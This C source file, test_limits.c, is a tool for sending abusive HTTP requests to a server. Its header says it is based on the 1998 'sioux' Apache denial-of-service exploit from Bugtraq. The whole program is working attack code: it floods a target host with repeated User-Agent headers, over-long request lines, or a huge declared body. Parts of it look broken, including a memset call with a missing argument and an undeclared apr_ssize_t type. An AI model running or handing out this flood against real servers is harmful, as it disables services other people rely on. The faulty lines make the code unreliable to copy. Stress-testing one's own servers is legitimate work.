/**************************************************************
* test_limits . c
*
* A simple program for sending abusive requests to a server , based
* on the sioux . c exploit code that this nimrod posted ( see below ) .
* Roy added options for testing long header fieldsize ( - t h ) , long
* request - lines ( - t r ) , and a long request body ( - t b ) .
*
* FreeBSD 2 . 2 . x , FreeBSD 3 . 0 , IRIX 5 . 3 , IRIX 6 . 2 :
* gcc - o test_limits test_limits . c
*
* Solaris 2 . 5 . 1 :
* gcc - o test_limits test_limits . c - lsocket - lnsl
*
*
* Message - ID : < 861 zqspvtw . fsf @ niobe . ewox . org >
* Date : Fri , 7 Aug 1998 19 : 04 : 27 + 0200
* Sender : Bugtraq List < BUGTRAQ @ netspace . org >
* From : Dag - Erling Coidan = ? ISO - 8859 - 1 ? Q ? Sm = F8rgrav ? = < finrod @ EWOX . ORG >
* Subject : YA Apache DoS attack
*
* Copyright ( c ) 1998 Dag - Erling Codan Smrgrav
* All rights reserved .
*
* Redistribution and use in source and binary forms , with or without
* modification , are permitted provided that the following conditions
* are met :
* 1 . Redistributions of source code must retain the above copyright
* notice , this list of conditions and the following disclaimer
* in this position and unchanged .
* 2 . Redistributions in binary form must reproduce the above copyright
* notice , this list of conditions and the following disclaimer in the
* documentation and / or other materials provided with the distribution .
* 3 . The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ` ` AS IS ' ' AND ANY EXPRESS OR
* IMPLIED WARRANTIES , INCLUDING , BUT NOT LIMITED TO , THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED .
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT , INDIRECT ,
* INCIDENTAL , SPECIAL , EXEMPLARY , OR CONSEQUENTIAL DAMAGES ( INCLUDING , BUT
* NOT LIMITED TO , PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES ; LOSS OF USE ,
* DATA , OR PROFITS ; OR BUSINESS INTERRUPTION ) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY , WHETHER IN CONTRACT , STRICT LIABILITY , OR TORT
* ( INCLUDING NEGLIGENCE OR OTHERWISE ) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE , EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE .
*
*/
/*
* Kudos to Mark Huizer who originally suggested this on freebsd - current
*/
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define TEST_LONG_REQUEST_LINE 1
#define TEST_LONG_REQUEST_FIELDS 2
#define TEST_LONG_REQUEST_FIELDSIZE 3
#define TEST_LONG_REQUEST_BODY 4
void
usage(void )
{
fprintf(stderr,
"usage: test_limits [-t (r|n|h|b)] [-a address] [-p port] [-n num]\n" );
exit (1 );
}
int
main(int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
FILE *f;
int o, sd;
/* default parameters */
char *addr = "localhost" ;
int port = 80 ;
int num = 1000 ;
int testtype = TEST_LONG_REQUEST_FIELDS;
/* get options */
while ((o = getopt(argc, argv, "t:a:p:n:" )) != EOF)
switch (o) {
case 't' :
if (*optarg == 'r' )
testtype = TEST_LONG_REQUEST_LINE;
else if (*optarg == 'n' )
testtype = TEST_LONG_REQUEST_FIELDS;
else if (*optarg == 'h' )
testtype = TEST_LONG_REQUEST_FIELDSIZE;
else if (*optarg == 'b' )
testtype = TEST_LONG_REQUEST_BODY;
break ;
case 'a' :
addr = optarg;
break ;
case 'p' :
port = atoi(optarg);
break ;
case 'n' :
num = atoi(optarg);
break ;
default :
usage();
}
if (argc != optind)
usage();
/* connect */
if ((he = gethostbyname(addr)) == NULL) {
perror("gethostbyname" );
exit (1 );
}
memset(&sin, sizeof (sin));
memcpy((char *)&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = he->h_addrtype;
sin.sin_port = htons(port);
if ((sd = socket(sin.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1 ) {
perror("socket" );
exit (1 );
}
if (connect(sd, (struct sockaddr *)&sin, sizeof (sin)) == -1 ) {
perror("connect" );
exit (1 );
}
if ((f = fdopen(sd, "r+" )) == NULL) {
perror("fdopen" );
exit (1 );
}
/* attack! */
fprintf(stderr, "Testing like a plague of locusts on %s\n" , addr);
if (testtype == TEST_LONG_REQUEST_LINE) {
fprintf(f, "GET " );
while (num-- && !ferror(f)) {
fprintf(f, "/123456789" );
fflush(f);
}
fprintf(f, " HTTP/1.0\r\n\r\n" );
}
else {
fprintf(f, "GET /fred/foo HTTP/1.0\r\n" );
if (testtype == TEST_LONG_REQUEST_FIELDSIZE) {
while (num-- && !ferror(f)) {
fprintf(f, "User-Agent: sioux" );
fflush(f);
}
fprintf(f, "\r\n" );
}
else if (testtype == TEST_LONG_REQUEST_FIELDS) {
while (num-- && !ferror(f))
fprintf(f, "User-Agent: sioux\r\n" );
fprintf(f, "\r\n" );
}
else if (testtype == TEST_LONG_REQUEST_BODY) {
fprintf(f, "User-Agent: sioux\r\n" );
fprintf(f, "Content-Length: 33554433\r\n" );
fprintf(f, "\r\n" );
while (num-- && !ferror(f))
fprintf(f, "User-Agent: sioux\r\n" );
}
else {
fprintf(f, "\r\n" );
}
}
fflush(f);
{
apr_ssize_t len;
char buff[512 ];
while ((len = read(sd, buff, 512 )) > 0 )
len = write(1 , buff, len);
}
if (ferror(f)) {
perror("fprintf" );
exit (1 );
}
fclose(f);
exit (0 );
}
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